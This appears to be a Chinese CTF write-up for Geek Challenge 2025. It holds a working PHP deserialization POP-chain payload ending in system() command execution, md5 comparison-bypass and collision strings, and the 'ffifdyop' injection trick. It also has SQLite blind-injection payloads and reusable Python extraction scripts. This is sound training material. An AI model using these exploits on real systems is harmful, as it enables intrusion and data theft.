极客大挑战 popself wp
源码:
<?phpshow_source(__FILE__);
error_reporting(0);class All_in_one{ public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra; public $komiko; public $Fox; public $Eureka; public $QYQS; public $sleep3r; public $ivory; public $L;
public function __set($name, $value){ echo "他还是没有忘记那个".$value."<br>"; echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;//
if ( !($fox instanceof All_in_one) && $fox()==="summer"){ echo "QYQS enjoy summer<br>"; echo "开启循环吧<br>"; $komiko = $this->komiko; $komiko->Eureka($this->L, $this->sleep3r); } }
public function __invoke(){ echo "恭喜成功signin!<br>"; echo "welcome to Geek_Challenge2025!<br>"; $f = $this->Samsāra; $arg = $this->ivory; $f($arg); } public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) { if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){ die("boys和而不同<br>"); }
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){ echo "BOY♂ sign GEEK<br>"; echo "开启循环吧<br>"; $this->QYQS->partner = "summer"; //将$obj1的QYQS属性对应$obj2,给它的partner属性赋值"summer"因为不存在这个属性,所以触发_set } else { echo "BOY♂ can`t sign GEEK<br>"; echo md5(md5($this->KiraKiraAyu))."<br>"; echo md5($this->K4per)."<br>"; } } else{ die("boys堂堂正正"); } }
public function __tostring(){ echo "再走一步...<br>"; $a = $this->_4ak5ra; $a(); }
public function __call($method, $args){ if (strlen($args[0])<4 && ($args[0]+1)>10000){ echo "再走一步<br>"; echo $args[1]; } else{ echo "你要努力进窄门<br>"; } }}
class summer { public static function find_myself(){ return "summer"; }}$payload = $_GET["24_SYC.zip"];
if (isset($payload)) { unserialize($payload);} else { echo "没有大家的压缩包的话,瓦达西!<br>";}
?>这是一道php反序列化的题目,考点很多,所以写个wp
看题目构造php反序列化链
obj1 (起点) ├── KiraKiraAyu: "aawBzC" ├── K4per: "s1885207154a" └── QYQS: obj2 ├── Fox: ["summer", "find_myself"] ├── komiko: obj3 //多少都可以,因为不存在方法 ├── L: "1e9" └── sleep3r: obj3 └── _4ak5ra: obj4 ├── Samsāra: "system" └── ivory: "cat /flag"__destruct() → __set() → __call() → __toString() → __invoke() → system()
payload:
<?php
class All_in_one{ public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra; public $komiko; public $Fox; public $Eureka; public $QYQS; public $sleep3r; public $ivory; public $L;}
class summer { public static function find_myself(){ return "summer"; }}
// 创建对象 obj4,用于执行 system("cat /flag")$obj4 = new All_in_one();$obj4->Samsāra = "system";$obj4->ivory = "env";
// 创建对象 obj3,用于触发 __toString 和 __invoke$obj3 = new All_in_one();$obj3->_4ak5ra = $obj4;
// 创建对象 obj2,用于触发 __set 和 __call$obj2 = new All_in_one();$obj2->Fox = array("summer", "find_myself"); // 可调用,返回 "summer"$obj2->komiko = $obj3; //触发 __call,因为不存在Eureka方法$obj2->L = "1e9"; // 满足 __call 条件:长度小于4且值加1大于10000$obj2->sleep3r = $obj3;
// 创建对象 obj1,起点$obj1 = new All_in_one();$obj1->KiraKiraAyu = "aawBzC"; // 使 md5(md5($KiraKiraAyu)) 以 "0e" 开头$obj1->K4per = "s1885207154a"; // 使 md5($K4per) 以 "0e" 开头$obj1->QYQS = $obj2;
// 输出 URL 编码后的序列化字符串echo urlencode(serialize($obj1));
?>不合法参数名
$payload = $_GET["24_SYC.zip"]注意到,24_SYC.zip这个参数名称中的.是非法的
这里就有条件可以利用一个PHP8被修复的转换错误进行传参:https://github.com/php/php-src/commit//fc4d462e947828fdbeac6020ac8f34704a218834?branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified 当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_ ———————————————— 版权声明:本文为CSDN博主「末 初」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/mochu7777777/article/details/115050295
所以需要把参数名改为
?24[STC.zip=这样才能合法传参
php中的调用静态方法的特殊语法
if ( !($fox instanceof All_in_one) && $fox()==="summer")这里涉及到一个知识点,要求$fox不属于All_in_one类,但是$fox强等于summer
payload:
$obj2->Fox = array("summer", "find_myself");这里我们将Fox定义为一个数组,所以不属于All_in_one类,但是这种数组表达方式是php中特殊语法:**可调用数组(Callable Array)**特性
["类名", "静态方法名"]() = 调用该类的静态方法
array("summer", "find_myself")()= summer::find_myself()= "summer" ✓ **成功变出 summer!**// 以下三种写法等价:$method1 = array("summer", "find_myself");$result1 = $method1(); // 调用静态方法
$method2 = "summer::find_myself";$result2 = $method2(); // 调用静态方法
$method3 = function() { return summer::find_myself(); };$result3 = $method3(); // 调用匿名函数
//对应的定义类(payload中增添的类)class summer { public static function find_myself(){ return "summer"; // 这个方法固定返回 "summer" }}php反序列化魔术方法
写这一题的时候下意识的认为反序列化链都是按顺序排的,可见对反序列化链的挖掘以及反序列化魔术方法还是不够熟练,所以这里再终结一下php反序列化魔术方法
| 魔术方法 | 触发时机 |
|---|---|
| __construct() | 在实例化对象时触发 |
| __destruct() | 在对象被销毁时触发 |
| __sleep() | 在进行序列化时触发 |
| __wakeup() | 在进行反序列化时触发 |
| __serialize() | 在进行序列化时触发 |
| __unserialize() | 在进行反序列化时触发 |
| __toString() | 被当成字符串调用时 |
| __invoke() | 被当成函数调用时 |
| __set() | 给不可访问或者不存在的属性赋值时 |
| __get() | 调用不可访问或者不存在的属性的值时 |
| __isset() | 对不可访问或不存在的属性调用isset()或empty()时 |
| __unset() | 对不可访问或不存在的属性调用unset()时 |
| __call() | 调用不可访问的方法时 |
| __callStatic() | 在静态上下文中调用一个不可访问的方法时 |
__construct()
每次实例化一个对象时都会先调用此方法
php
<?phpclass star{ public function __construct(){ echo 'gogogo触发喽'; }}
$star = new star();//gogogo触发喽__destruct()
某个对象的所有引用都被删除或当对象被显式销毁时执行
php
<?phpclass Moon{ function __construct(){ echo "流萤逐月\n"; }
function __destruct(){ echo "月落乌啼霜满天\n"; }}
$moon = new Moon();//流萤逐月//月落乌啼霜满天__sleep()
serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作
php
<?phperror_reporting(0);class Moon{ public $moon='月亮 ';
function __construct(){ echo $this->moon; } function __sleep(){ $this -> moon = 'moon'; echo $this -> moon; }}
$moon = new Moon();//月亮
serialize($moon);//moon__wakeup()
unserialize()函数会检查类中是否存在一个魔术方法__wakeup()。如果存在,该方法会先被调用,然后才执行序列化操作
php
<?phperror_reporting(0);class Moon{
public $moon='月亮';
function __construct(){ echo $this->moon; }
function __wakeup(){ $this -> moon = 'moon'; echo $this -> moon; }}
$moon = new Moon();//月亮
$tem=serialize($moon);
unserialize($tem);//moon__serialize()
serialize()函数会检查类中是否存在一个魔术方法__serialize()。如果存在,该方法将在任何序列化之前优先执行,然后才执行序列化操作,它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个TypeError错误。 如果类中同时定义了__sleep()和__serialize(),则只有__serialize()会被调用,__sleep()方法会被忽略掉
php
<?phperror_reporting(0);class Moon{ public $moon='月亮 ';
function __construct(){ echo $this->moon; }
function __sleep(){ $this -> moon = 'moon'; echo $this -> moon; }
function __serialize(){ $this -> moon = 'star'; echo $this -> moon; }}
$moon = new Moon();//月亮
serialize($moon);//star__unserialize()
unserialize()函数会检查类中是否存在一个魔术方法__unserialize()。如果存在,该方法会先被调用,然后才执行序列化操作,此函数将会传递从__serialize()返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。如果类中同时定义了__wakeup()和__serialize(),则只有__serialize()会被调用,__wakeup()方法会被忽略掉
php
<?phperror_reporting(0);class Moon{
public $moon='月亮';
function __construct(){ echo $this->moon; }
function __wakeup(){ $this -> moon = 'moon'; echo $this -> moon; }
function __unserialize(array $data):void{ $this -> moon = "star"; echo $this -> moon;}}
$moon = new Moon();//月亮
$tem=serialize($moon);
unserialize($tem);//starphp
<?phperror_reporting(0);class Moon{ public $moon; public $star; public $sun;
function __serialize():array{ return [ 'moon'=>$this->moon, 'star'=>$this->star, 'sun'=>$this->sun ]; } function __unserialize(array $data):void{ $this->moon = $data['moon']; $this->star = $data['star']; $this->sun = $data['sun']; }}__toString()
__toString()方法用于一个类被当成字符串时应怎样回应
php
<?phperror_reporting(0);class Moon{
function __toString(){ echo "桂魄初生";}}
$moon = new Moon();echo $moon;//桂魄初生__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用
php
<?phperror_reporting(0);class Moon{
function __invoke(){ echo "清辉漫瓦";}}
$moon = new Moon();$moon();//清辉漫瓦__set()
在给不可访问(protected 或 private)或不存在的属性赋值时,__set()会被调用
php
<?phperror_reporting(0);class Moon{ function __set($name,$value){ echo "玉壶冰心"; }}
$moon = new Moon();$moon-> null = 'null';//玉壶冰心__get()
读取不可访问(protected 或 private)或不存在的属性的值时,__get()会被调用
php
<?phperror_reporting(0);class Moon{ function __get($star){ echo "蟾光碎银"; }}
$moon = new Moon();$moon-> null;//蟾光碎银__isset()
当对不可访问(protected 或 private)或不存在的属性调用 isset()或empty()时,__isset()会被调用
php
<?phperror_reporting(0);class Moon{ function __isset($star){ echo "素娥垂泪"; }}
$moon = new Moon();isset($moon -> null);//素娥垂泪__unset()
php
<?phperror_reporting(0);class Moon{ function __unset($star){ echo "寒璧悬空"; }}
$moon = new Moon();unset($moon -> null);//寒璧悬空__call()
对象中调用一个不可访问方法时,__call()会被调用
php
<?phperror_reporting(0);class Moon{ function __call($name, $arguments){ echo "河汉清浅"; }}
$moon = new Moon();$moon -> invalid();//河汉清浅__callStatic()
在静态上下文中调用一个不可访问方法时,__callStatic()会被调用
php
<?phperror_reporting(0);class Moon{ static function __callStatic($name, $arguments){ echo "银潢倾泻"; }}
$moon = new Moon();Moon::invalid();//银潢倾泻md5碰撞
md5类型的题目一般会遇到弱比较和强比较以及md5注入
弱比较
科学计数法
字符串会进行下列步骤:
- 如果字符串开头是字母,直接等于0
- 如果不为字母,则截止到遇到的第一个字母。例如132a会被保留为123
但是对于e来说,它在php内可以用作科学计数法。
md5(a)=md5(b)
s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787s155964671a0e342768416822451524974117254469s1091221200a0e940624217856561557816327384675s1836677006a0e481036490867661113260034900752s1885207154a0e509367213418206700842008763514s532378020a0e220463095855511507588041205815s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s214587387a0e848240448830537924465865611904s1502113478a0e861580163291561247404381396064s1091221200a0e940624217856561557816327384675s1665632922a0e731198061491163073197128363787s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s1665632922a0e731198061491163073197128363787s878926199a0e545993274517709034328855841020240610708:0e462097431906509019562988736854QLTHNDT:0e405967825401955372549139051580QNKCDZO:0e830400451993494058024219903391PJNPDWY:0e291529052894702774557631701704NWWKITQ:0e763082070976038347657360817689NOOPCJF:0e818888003657176127862245791911MMHUWUV:0e701732711630150438129209816536MAUXXQC:0e478478466848439040434801845361$a==md5($a)
0e215962017 0e291242476940776845150308577824
0e1284838308 0e708279691820928818722257405159
0e1137126905 0e291659922323405260514745084877
0e807097110 0e318093639164485566453180786895
0e730083352 0e870635875304277170259950255928md5(md5($a))=oe···
aawBzCaabsbm9aaaabGG5TaaaabKGVH强比较
数组绕过,原理是当进行md5计算的时候,无法求出数组array的值,于是会返回null
两个数组就会===
md5碰撞
当强制要求为字符串是就无法通过数组绕过了,从errr师傅那里获取了两个字符串,可以通过md5碰撞达到强等于
pwp%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%91%E6%F0aZ%7CF%BFk%D0%E0%B4%9B%2A%1B%60%81%C7OH%ACWBt%2A%EAw%8D%F21%0F%EE%E7%A3%EE%EDZ.%E9%B0%EB-%BE9%9E%A3%A6X%DF%E9%EA%8F%16%87e%3CX%B0%D38%CFN%16v%81%0F%C9%12%98%92%5B%A1sO0XJ%9C%E5c%BD%21%1F_t%D6%F2%FF%0D%B3%00%C7%2B%60H%C7%CB%8D%0C%28%97E%FF%7D%F6%3C%C2%9A%1C%40%1B%C7%B6%0D%88%B3UD%D7%82EM5%C4%19w%CCP
pwp%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%91%E6%F0aZ%7CF%BFk%D0%E0%B4%9B%2A%1B%60%81%C7O%C8%ACWBt%2A%EAw%8D%F21%0F%EE%E7%A3%EE%EDZ.%E9%B0%EB-%BE9%9E%23%A7X%DF%E9%EA%8F%16%87e%3CX%B0%D3%B8%CFN%16v%81%0F%C9%12%98%92%5B%A1sO0XJ%9C%E5c%BD%21%1F%DFt%D6%F2%FF%0D%B3%00%C7%2B%60H%C7%CB%8D%0C%28%97E%FF%7D%F6%3C%C2%9A%1C%C0%1A%C7%B6%0D%88%B3UD%D7%82EM5D%19w%CCP还有
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2数据库
只需记住ffifdyop
这个字符串md5编码后是'or'6�]��!r,��b
当进行md5注入时便会得到
$query = "SELECT * FROM flag WHERE password = ''or'6�]��!r,��b返回总为ture
极客大挑战 Sequal No Uta
重要的东西放前面,@cl0wn师傅给了我一个盲注的脚本,通过检索sqlite语句来查数据,然后我就调教ai将这个脚本优化了一下,使它更加简便,通用,智能
import requestsimport string
# ========== 配置区域 ==========# 目标URL(请修改为实际目标)TARGET_URL = "http://019aaa5f-80ee-7e49-802f-89d2b6790510.geek.ctfplus.cn/check.php"
# 字符集(可根据需要扩展)CHARSET = string.ascii_letters + string.digits + "_{}!#$%&()*+,-./:;<=>?@[]^`|~ "
# 要提取的数据类型(取消注释其中一个)#EXTRACTION_TYPE = "table_names" # 表名#EXTRACTION_TYPE = "column_names" # 特定表的列名EXTRACTION_TYPE = "column_data" # 列数据#EXTRACTION_TYPE = "flag_data" # flag数据
# 当 EXTRACTION_TYPE = "column_names" 时,设置要爆破的表名TARGET_TABLE = "users" # 修改为你要爆破列名的表名
#当 EXTRACTION_TYPE = "column_data" 时,设置爆破的列名TARGET_COLUMNS = "username"# ========== 配置结束 ==========
def blind_sql_injection(): extracted_data = ""
# 根据选择的数据类型设置payload if EXTRACTION_TYPE == "table_names": # 提取所有表名 base_payload = "'or/**/substr((select/**/group_concat(tbl_name)/**/from/**/sqlite_master/**/where/**/type='table'/**/and/**/tbl_name/**/not/**/like/**/'sqlite_%'),{position},1)='{char}'--" elif EXTRACTION_TYPE == "column_data": # 提取users表的secret列数据 base_payload = f"'or/**/substr((select/**/{TARGET_COLUMNS}/**/from/**/{TARGET_TABLE}/**/limit/**/2/**/offset/**/1),{{position}},1)='{{char}}'--" # 修复:使用双花括号 elif EXTRACTION_TYPE == "flag_data": # 提取可能的flag数据 base_payload = "'or/**/substr((select/**/group_concat(secret)/**/from/**/users),{position},1)='{char}'--" elif EXTRACTION_TYPE == "column_names": # 提取特定表的所有列名 base_payload = f"'or/**/substr((select/**/group_concat(name)/**/from/**/pragma_table_info('{TARGET_TABLE}')),{{position}},1)='{{char}}'--" else: print("错误:请选择有效的EXTRACTION_TYPE") return
print(f"[*] 开始提取数据,类型: {EXTRACTION_TYPE}") if EXTRACTION_TYPE == "column_names": print(f"[*] 目标表: {TARGET_TABLE}") print("[*] 字符集大小:", len(CHARSET))
# 逐字符提取数据 for position in range(1, 100): # 假设最大长度为100 found_char = False
for char in CHARSET: # 构建payload payload = base_payload.format(position=position, char=char)
# 发送请求 params = {"name": payload}
try: response = requests.get(TARGET_URL, params=params, timeout=5)
# 判断响应 if "该用户存在且活跃" in response.text: extracted_data += char print(f"[+] 位置 {position}: '{char}' -> 当前结果: {extracted_data}") found_char = True break except Exception as e: print(f"[-] 请求失败: {e}") continue
# 如果没有找到字符,可能已到数据末尾 if not found_char: print(f"[*] 位置 {position} 未找到字符,可能已到数据末尾") break
print(f"\n[+] 提取完成!") print(f"[+] 最终结果: {extracted_data}")
# 对于列名结果,进行格式化显示 if EXTRACTION_TYPE == "column_names" and extracted_data: columns = extracted_data.split(',') print(f"\n[+] {TARGET_TABLE}表的列结构:") for i, column in enumerate(columns, 1): print(f" 第{i}列: {column}")
# 检查是否包含flag格式 if "ctf{" in extracted_data.lower() or "flag{" in extracted_data.lower(): print(f"[!!!] 发现FLAG: {extracted_data}")
if __name__ == "__main__": blind_sql_injection()提示给了是SQLite库,使用题目大致可以确定是sqlite注入了
但是打开环境只有只有查询状态,尝试布尔盲注
检测表的数量:
admin'%09and%09(select%09count(*)%09from%09sqlite_master%09where%09type='table')=2--检查表名:
admin'%09and%09(select%09count(*)%09from%09sqlite_master%09where%09type='table'%09and%09tbl_name%09like%09'users')--这里可以先通过手注测试常见表名,减少爆破时间
如:
usersuserflag检查表的列数:
admin'%09and%09(select%09count(*)%09from%09pragma_table_info('users'))=5--接着爆破列名
#!/usr/bin/env python3import requestsimport string
URL = "http://019aaa20-97a0-74bf-ba1c-466bb98f1598.geek.ctfplus.cn/check.php?name="CHARS = string.ascii_letters + string.digits + "_"
def test(payload): try: response = requests.get(URL + payload, timeout=5) return "该用户存在且活跃" in response.text except: return False
print("爆破users表列名:")for offset in range(5): name = "" pos = 1
while True: found = False for char in CHARS: payload = f"admin'%09and%09(substr((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset}),{pos},1)='{char}')--" if test(payload): name += char found = True break
if not found: break pos += 1
print(f"第{offset + 1}列: {name}")爆破users表列名: 第1列: id 第2列: username 第3列: password 第4列: is_active 第5列: secret
发现一个奇奇怪怪的secret列,接着尝试爆破secret列的内容
这里让ai给了一个比较通用的脚本,可以提前更改url和表名列名之类的东西,但是也通用不到哪里去,因为每道题目的过滤不一样
#!/usr/bin/env python3"""简易通用列数据爆破脚本用于爆破已知表中指定列的数据内容"""
import requestsimport stringimport time
# ============================ 配置区域 ============================# 目标URL(在此处修改为目标URL)TARGET_URL = "http://019aaa20-97a0-74bf-ba1c-466bb98f1598.geek.ctfplus.cn/check.php?name="
# 表名(在此处修改为要爆破的表名)TABLE_NAME = "users"
# 列名列表(在此处修改为要爆破的列名)COLUMNS = ["secret"] # 例如: ["username", "password", "secret"]
# 要爆破的行数(在此处修改为要爆破的行数)MAX_ROWS = 3
# 请求延迟(秒)(在此处修改请求频率)DELAY = 0.1
# ============================ 配置结束 ============================
def test_payload(payload): """发送请求并检查响应""" full_url = TARGET_URL + payload try: response = requests.get(full_url, timeout=5) return "该用户存在且活跃" in response.text #这里填充正确时的回显 except: return False
def extract_column_data(table, column, row_offset): """提取指定表、列、行的数据""" data = "" position = 1
# 字符集(包含常见字符) chars = string.ascii_letters + string.digits + "{}_-!@#$%^&*()+=[]|:;<>,.?/~` "
while True: found_char = False
for char in chars: # 构建查询Payload payload = f"admin'%09and%09(substr((select%09{column}%09from%09{table}%09limit%091%09offset%09{row_offset}),{position},1)='{char}')--"
if test_payload(payload): data += char found_char = True print(f" 行{row_offset + 1} {column}: 位置{position}='{char}' -> {data}") break
if not found_char: break
position += 1 time.sleep(DELAY)
return data
def main(): print(f"[*] 开始爆破表 '{TABLE_NAME}' 的数据") print(f"[*] 目标列: {', '.join(COLUMNS)}") print(f"[*] 最大行数: {MAX_ROWS}") print("=" * 50)
# 对每一行进行爆破 for row in range(MAX_ROWS): print(f"\n[*] 爆破第{row + 1}行数据:")
# 对每一列进行爆破 for column in COLUMNS: print(f"[*] 提取 {column} 列...") data = extract_column_data(TABLE_NAME, column, row)
if data: print(f"[+] 行{row + 1} {column}: {data}") else: print(f"[-] 行{row + 1} {column}: 空或无法提取")
print("-" * 30)
if __name__ == "__main__": main()当然我在写的时候没有那么轻松,ai一次使用不正确就把我完全带偏了,一开始只给我爆破出三列,然后就往其他方向试了一个下午,晚上重新做的时候才发现漏了两列而且ai给的脚本也没有那么简单,这里展示一个构造的超复杂脚本
#!/usr/bin/env python3"""完整爆破users表5列列名"""
import requestsimport stringimport timeimport json
class AllColumnsExtractor: def __init__(self, target_url, delay=0.1, timeout=10): self.target_url = target_url self.delay = delay self.timeout = timeout self.request_count = 0 self.start_time = time.time()
# 响应特征 self.true_indicator = "该用户存在且活跃" self.false_indicator = "未找到用户或已停用"
# 设置会话 self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' })
print(f"[+] 目标URL: {target_url}") print(f"[+] 目标: users表所有5列列名")
def build_payload(self, condition): """构建Payload""" payload = f"admin'%09and%09({condition})--" return payload
def send_request(self, payload): """发送请求并检查响应""" full_url = f"{self.target_url}{payload}"
try: self.request_count += 1 response = self.session.get(full_url, timeout=self.timeout)
if self.true_indicator in response.text: return True elif self.false_indicator in response.text: return False else: return False
except Exception as e: print(f"[-] 请求失败: {e}") return False
def get_column_name_length(self, offset): """获取指定列的列名长度""" print(f"[*] 获取第{offset + 1}列列名长度...")
for length in range(1, 50): payload = self.build_payload( f"length((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset}))={length}" )
if self.send_request(payload): print(f"[+] 第{offset + 1}列列名长度: {length}") return length
time.sleep(self.delay)
print(f"[-] 无法获取第{offset + 1}列列名长度") return 0
def extract_column_name(self, offset, length): """提取指定列的列名""" if length == 0: return ""
print(f"[*] 提取第{offset + 1}列列名 (长度: {length})...")
column_name = "" start_time = time.time()
# 优化字符集 - 列名通常使用字母、数字和下划线 char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_"
for position in range(1, length + 1): progress = (position / length) * 100 elapsed = time.time() - start_time eta = (elapsed / position) * (length - position) if position > 0 else 0
print(f"\r[*] 第{offset + 1}列: [{progress:6.2f}%] 位置 {position}/{length}, " f"ETA: {eta:.1f}s, 当前: {column_name}", end="")
found_char = False for char in char_set: payload = self.build_payload( f"substr((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset}),{position},1)='{char}'" )
if self.send_request(payload): column_name += char found_char = True break
time.sleep(self.delay)
if not found_char: break
print() return column_name
def guess_common_column_names(self, offset): """猜测常见的列名""" print(f"[*] 尝试猜测第{offset + 1}列常见列名...")
# 不同位置的常见列名 common_columns_by_position = [ ['id', 'uid', 'user_id', 'key'], # 第1列常见 ['username', 'user', 'name', 'account', 'login'], # 第2列常见 ['password', 'pass', 'pwd', 'hash'], # 第3列常见 ['secret', 'token', 'key', 'flag', 'ctf'], # 第4列常见 ['email', 'role', 'status', 'created_at', 'updated_at', 'last_login'] # 第5列常见 ]
if offset < len(common_columns_by_position): for column in common_columns_by_position[offset]: payload = self.build_payload( f"(select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset})='{column}'" )
if self.send_request(payload): print(f"[+] 第{offset + 1}列列名: {column}") return column
return None
def extract_all_columns(self): """提取所有5列的列名""" print("开始提取users表所有5列列名") print("=" * 60)
column_names = []
for offset in range(5): # 5列,offset从0到4 print(f"\n[*] 处理第{offset + 1}列:")
# 先尝试猜测常见列名 column_name = self.guess_common_column_names(offset)
if not column_name: # 如果猜测失败,进行完整提取 length = self.get_column_name_length(offset) if length > 0: column_name = self.extract_column_name(offset, length)
if column_name: column_names.append(column_name) print(f"[+] 第{offset + 1}列: {column_name}") else: column_names.append("未知") print(f"[-] 无法获取第{offset + 1}列列名")
return column_names
def verify_known_columns(self, column_names): """验证已知列名""" print("\n" + "=" * 60) print("[*] 验证已知列名") print("=" * 60)
known_columns = ['id', 'username', 'password', 'secret']
for i, column in enumerate(column_names): if column in known_columns: print(f"[+] 第{i + 1}列 '{column}' 是已知列") else: print(f"[!] 第{i + 1}列 '{column}' 是新发现的列")
def run(self): """运行提取""" print("开始提取users表所有列名") print("=" * 60)
try: # 提取所有列名 column_names = self.extract_all_columns()
# 显示结果 self.show_results(column_names)
# 验证已知列名 self.verify_known_columns(column_names)
# 显示统计信息 self.show_statistics()
# 保存结果 self.save_results(column_names)
print("\n[+] 所有列名提取完成!")
return column_names
except KeyboardInterrupt: print("\n[-] 用户中断操作") self.show_statistics() return None except Exception as e: print(f"\n[-] 执行过程中发生错误: {e}") import traceback traceback.print_exc() return None
def show_results(self, column_names): """显示结果""" print("\n" + "=" * 60) print("[*] users表所有列名") print("=" * 60)
for i, column in enumerate(column_names): print(f"第{i + 1}列: {column}")
def show_statistics(self): """显示统计信息""" total_time = time.time() - self.start_time print("\n" + "=" * 60) print("[*] 统计信息") print("=" * 60) print(f"总请求数: {self.request_count}") print(f"总耗时: {total_time:.2f} 秒") print(f"平均速度: {self.request_count / total_time:.2f} 请求/秒")
def save_results(self, column_names): """保存结果到文件""" timestamp = time.strftime("%Y%m%d_%H%M%S") filename = f"users_columns_{timestamp}.json"
data = { 'target_url': self.target_url, 'extraction_time': time.strftime("%Y-%m-%d %H:%M:%S"), 'column_count': len(column_names), 'columns': column_names, 'statistics': { 'total_requests': self.request_count, 'execution_time': time.time() - self.start_time } }
with open(filename, 'w', encoding='utf-8') as f: json.dump(data, f, indent=2, ensure_ascii=False)
print(f"[+] 结果已保存到: {filename}")
# 同时保存为易读的文本文件 txt_filename = f"users_columns_{timestamp}.txt" with open(txt_filename, 'w', encoding='utf-8') as f: f.write("Users Table Columns\n") f.write("===================\n\n")
for i, column in enumerate(column_names): f.write(f"第{i + 1}列: {column}\n")
print(f"[+] 文本格式结果已保存到: {txt_filename}")
def main(): # 目标URL TARGET_URL = "http://019aa60b-289c-7887-a11f-1c264986b71b.geek.ctfplus.cn/check.php?name="
# 配置参数 DELAY = 0.1 # 请求延迟
# 创建提取器实例 extractor = AllColumnsExtractor( target_url=TARGET_URL, delay=DELAY )
# 执行提取 column_names = extractor.run()
if column_names: print(f"\n[+] 下一步: 提取所有列的数据")
if __name__ == "__main__": main()这个脚本就是爆破出列名而已
部分信息可能已经过时









